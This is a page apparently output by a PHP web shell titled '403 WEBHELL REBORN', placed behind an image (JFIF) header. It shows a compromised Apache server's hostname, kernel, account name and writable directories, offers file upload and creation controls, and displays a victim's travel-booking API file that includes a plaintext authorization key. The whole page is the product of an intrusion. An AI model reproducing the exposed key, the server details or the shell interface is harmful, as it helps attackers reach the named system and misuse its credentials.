ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/api/common.php
<?
// Configration
error_reporting((E_ALL | E_STRICT) ^ (E_NOTICE | E_WARNING | E_STRICT | E_DEPRECATED));
set_error_handler('__error_handler');

ini_set('display_errors', 1);

define('DS', DIRECTORY_SEPARATOR);

$HTTP_HOST = str_replace("www.", "", $_SERVER['HTTP_HOST']);

// 짚라인 통합
if($HTTP_HOST == "zipline.tkplace.co.kr"){
	$producer_id = "zipline";
	$auth_key = "c533c9e4a8a731a1d6daf7baef172413";
}

include_once("../lib/Log.class.php");
include_once("../lib/File.class.php");

// Function //////////////////////////////////////////////////////////////////////////////////////

/**
 * custom error handler
 *
 * @return void
 */
function __error_handler($errNo, $errMsg, $errFile, $errLine, $errArgs)
{
	global $log;

	if (!(ini_get('error_reporting') & $errNo)) {
		return;
	}

	if (isset($errArgs['msg'])) {
		$errMsg = $errArgs['msg'];
	}

	if (isset($errArgs['code'])) {
		$errCode = $errArgs['code'];
	}

	if (isset($errArgs['data'])) {
		$data = $errArgs['data'];
	}

	// 로그 기록
	Log::save(sprintf("%s(%d) ERROR (%s) %s", __FILE__, $errLine, $errCode , $errMsg), '', 'tk/'.date('Ym'));

	db_query("ROLLBACK;");
	db_query("SET AUTOCOMMIT=1;");

	if ($errNo & E_USER_ERROR) {
		sendResult($errCode, $errMsg, $data);
	} else {
		echo "ERROR.";
	}

	exit;
}

function error($msg, $code, $data)
{
	trigger_error($msg, E_USER_ERROR);
	exit;
}

function sendResult($success, $msg='', $data=array()){
	global $aes;

	$header = array(
		'resultCode'						=> $success,
		'resultMessage'				=> $msg
	);

	if($data){
		$body_enc=$aes->encrypt($data);
	}

	$result = array(
		'header'	=> $header,
		'body'	=> $body_enc
	);

	echo json_encode($result);
}

/* adm/admin.lib.php 로 이동
function getInsertQuery($table, $data){

	if($table == "" || $data == ""){
		return false;
	}

	foreach ($data as $key=>$val) {
		if ( is_string($val) || is_numeric($val) ){
			//$data[$key] = mysqli::real_escape_string($val);
		}
	}

	$column = implode(', ', array_keys($data));
	$value = "'" . implode("', '", array_values($data)) . "'";
	$sql = 'INSERT INTO ' . $table . ' (' . $column . ') VALUES (' . $value . ')';

	return $sql;
}
*/

function call($path, $call_data, $method = 'GET')
{
	global $producer_id, $auth_key;

	$query = http_build_query($call_data);

	$authorization  = "Basic " . base64_encode($producer_id.":".$auth_key);

	// API SERVER URL
	$url = 'http://api.tktravelkorea.com'.$path.'?'.$query;
//	echo $url;

	if(DEV_MODE){ p("Call Data ", $url, $call_data); }
	Log::save(sprintf("%s(%d) Call Data : %s", __FILE__, __LINE__, serialize($call_data)), '', 'tk/'.date('Ym'));

	$curl = curl_init();
	curl_setopt($curl, CURLOPT_URL, $url);
	curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method);
	curl_setopt($curl, CURLOPT_HTTPHEADER, array("Content-Type:  application/json;charset=UTF-8", "Authorization:".$authorization));
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	$result = curl_exec($curl);
	if (curl_error($curl)) {
		exit('CURL Error('.curl_errno( $curl ).') '. curl_error($curl)); 
	}
	$retcode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
	curl_close($curl);

	if(DEV_MODE){ p("Call Result", json_decode($result), $retcode); }
	Log::save(sprintf("%s(%d) Call HTTP CODE : %s", __FILE__, __LINE__, $retcode), '', 'tk/'.date('Ym'));
	Log::save(sprintf("%s(%d) Call Result : %s", __FILE__, __LINE__, $result), '', 'tk/'.date('Ym'));

	return json_decode($result, true);
}

function call_async($path, $call_data, $method = 'GET')
{
	global $producer_id, $auth_key;

	$query = http_build_query($call_data);

	$authorization  = "Basic " . base64_encode($producer_id.":".$auth_key);

	// API SERVER URL
	$url = 'http://api.tktravelkorea.com'.$path.'?'.$query;

	if(DEV_MODE){ p("Call Async Data ", $url, $call_data); }
	Log::save(sprintf("%s(%d) Call Async Data : %s", __FILE__, __LINE__, $json_data), '', 'tk/'.date('Ym'));

	$mh = curl_multi_init();

	// CURL Multi 추가
	$curl = curl_init($url);
	curl_setopt($curl, CURLOPT_URL, $url);
	curl_setopt($curl, CURLOPT_NOBODY, 1); // 데이터를 받을필요가 없는 경우 1
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method);
	curl_setopt($curl, CURLOPT_HTTPHEADER, array("Content-Type:  application/json;charset=UTF-8", "Authorization:".$authorization));
	curl_multi_add_handle($mh, $curl);

	// CURL Multi Running
	do {
		curl_multi_exec($mh, $running);
		curl_multi_select($mh);
	} while ($running > 0);

	// CURL RESULT
	if (curl_error($curl)) {
		exit('CURL Error('.curl_errno( $curl ).') '. curl_error($curl)); 
	}

	$retcode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
	//$response = curl_multi_getcontent($curl); //결과 파싱, 위의 CURLOPT_NOBODY를 제거해야됨
	curl_multi_remove_handle($mh, $curl);

	curl_multi_close($mh);

	if(DEV_MODE){ p("Call Result", json_decode($result), $retcode); }
	Log::save(sprintf("%s(%d) Call HTTP CODE : %s", __FILE__, __LINE__, $retcode), '', 'tk/'.date('Ym'));
	Log::save(sprintf("%s(%d) Call Result : %s", __FILE__, __LINE__, $result), '', 'tk/'.date('Ym'));

	return json_decode($result, true);
}
?>

Anon7 - 2021